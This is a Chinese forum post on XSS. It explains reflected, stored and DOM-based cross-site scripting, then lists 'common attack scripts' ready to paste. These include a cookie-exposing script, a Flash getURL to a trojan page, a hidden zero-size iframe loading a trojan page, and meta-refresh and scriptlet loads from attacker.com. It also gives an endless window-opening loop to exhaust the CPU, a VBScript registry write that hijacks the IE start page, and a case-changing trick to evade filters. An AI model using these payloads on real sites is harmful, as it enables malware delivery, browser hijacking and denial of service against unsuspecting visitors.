夜半孤鹤 發表於 2020-4-13 11:46:11

XSS攻击常识及常用脚本

<p><span style="color: #ff0000"><strong>一、什么是XSS?</strong></span></p>
<p>XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。</p>
<p><span style="color: #ff0000"><strong>二、XSS分类</strong></span></p>
<p>XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS</p>
<p>反射型XSS<br />
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。</p>
<p>存储型XSS<br />
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码</p>
<p>最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。</p>
<p>DOM XSS<br />
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。</p>
<p><strong>附常见的XSS攻击方法</strong></p>
<p>1、这个应该都知道 <br />
&lt;script&gt;alert(&quot;test&quot;)&lt;/script&gt; 常用于测试 是否存在跨站</p>
<p>2、&lt;script&gt;window.alert(document.cookie);&lt;/script&gt; <br />
这句代码将会弹出壹个包含有浏览者cookie信息的对话框,如果用户已经通过帐号登陆网站,在显示的cookie信息中将会包含有用户的账户名和密码。</p>
<p>3、&lt;script&gt;window.open('http://www.pete.cn /default.asp','newwindow','width=200,height=200');&lt;/script&gt;,当用户浏览该 页时,将弹出壹个高爲200,宽爲200的网页窗口,在其中打开的页面是http://www.pete.cn/default.asp</p>
<p>4、跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高 的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中,例如制作成网页banner或者广告,那么中招的用户将更多。 <br />
flash跨站是通过在flash文件中插入动作脚本来实现的,通过在flash文件&ldquo;帧&rdquo;的&ldquo;动作&rdquo;中插入跨站脚本代码来实现跨站攻击,其实现方法入下: <br />
首先运行flash文件制作工具flash8.exe,新建壹个空白的flash文档。然后选中其中的第壹帧,进入界面下方的&ldquo;动作&rdquo;编辑界面,在Action Script中插入我们的跨站脚本代码 <br />
getURL(&quot;http://网页木马地址&quot;, &quot;_blank&quot;, &quot;GET&quot;); <br />
loadMovieNum(&quot;http://www.pete.cn/test.swf&quot;, 0);</p>
<p>5、&lt;iframe src=http://www.***.com/muma.htm width=0 height=0&gt;&lt; iframe&gt; <br />
这就是 传说中的框架 - - 膜拜吧 还有JS 也可以使用,比框架更隐蔽</p>
<p>6、Refresh到另壹个页面:</p>
<div class="jb51code">
<pre class="brush:xhtml;">
&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1;URL=http://www.attacker.com/another.htm&quot;&gt;
</pre>
</div>
<p>7、scriptlet引入另壹个页面:</p>
<div class="jb51code">
<pre class="brush:xhtml;">
&lt;object type=&quot;text/x-scriptlet&quot; data=&quot;http://www.attacker.com/import.htm&quot;&gt;&lt;/object&gt;
</pre>
</div>
<p>下面来几段长的 但是 记住 要慎用 !!</p>
<p>1、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:</p>
<div class="jb51code">
<pre class="brush:js;">
&lt;script language=&quot;JavaScript&quot;&gt;
&lt;!--
while (true)
{
window.open(&quot;URI&quot;); //如果URI就是当前页本身,那就更具破坏性。
}
//--&gt;
&lt;/script&gt;
</pre>
</div>
<p>2、 修改注册表(IE 主页):</p>
<div class="jb51code">
<pre class="brush:js;">
&lt;script language=&quot;VBScript&quot;&gt;
Set RegWsh = CreateObject(&quot;WScript.Shell&quot;)
'设置IE浏览器默认页
RegWsh.RegWrite &quot;HKCU\Software\Microsoft\Internet Explorer\Main\Start Page&quot;, &quot;http://www.attacker.com&quot;
&lt;/script&gt;
</pre>
</div>
<p>有时候,&lt;/script&gt; 可以替换大小写 来躲过过滤</p>
<p>我最后要说的壹句话就是&ldquo;害人终害己&rdquo;,切记!</p>
<p>到此这篇关于XSS攻击常识及常用脚本 的文章就介绍到这了,更多相关XSS 攻击脚本 内容请搜索琼殿技术社区以前的文章或继续浏览下面的相关文章,希望大家以后多多支持琼殿技术社区!</p>
頁: [1]
查看完整版本: XSS攻击常识及常用脚本